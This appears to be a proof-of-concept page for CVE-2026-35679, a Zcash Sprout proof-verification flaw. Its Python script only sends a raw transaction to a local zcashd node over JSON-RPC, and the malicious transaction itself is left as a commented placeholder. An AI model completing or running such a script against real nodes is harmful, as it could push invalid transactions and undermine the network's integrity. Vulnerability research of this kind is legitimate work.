CVE-2026-35679 Zcash Sprout证明缺失漏洞

# Proof of Concept for CVE-2026-35679 # This script demonstrates the logic of sending a raw transaction # that might bypass Sprout proof verification in vulnerable zcashd nodes. import json import requests # Target vulnerable node RPC endpoint (Example) RPC_URL = "http://127.0.0.1:8232" RPC_USER = "user" RPC_PASS = "pass" def send_raw_transaction(raw_hex): headers = {'content-type': 'application/json'} payload = { "method": "sendrawtransaction", "params": [raw_hex], "jsonrpc": "2.0", "id": "poc_cve_2026_35679" } try: response = requests.post( RPC_URL, auth=(RPC_USER, RPC_PASS), data=json.dumps(payload), headers=headers ) return response.json() except Exception as e: return str(e) # Note: Actual exploitation requires crafting a specific raw hex transaction # that triggers the proof bypass logic. This is a placeholder for the mechanism. # malicious_tx_hex = "04000080... (crafted invalid sprout tx)" # print(send_raw_transaction(malicious_tx_hex))
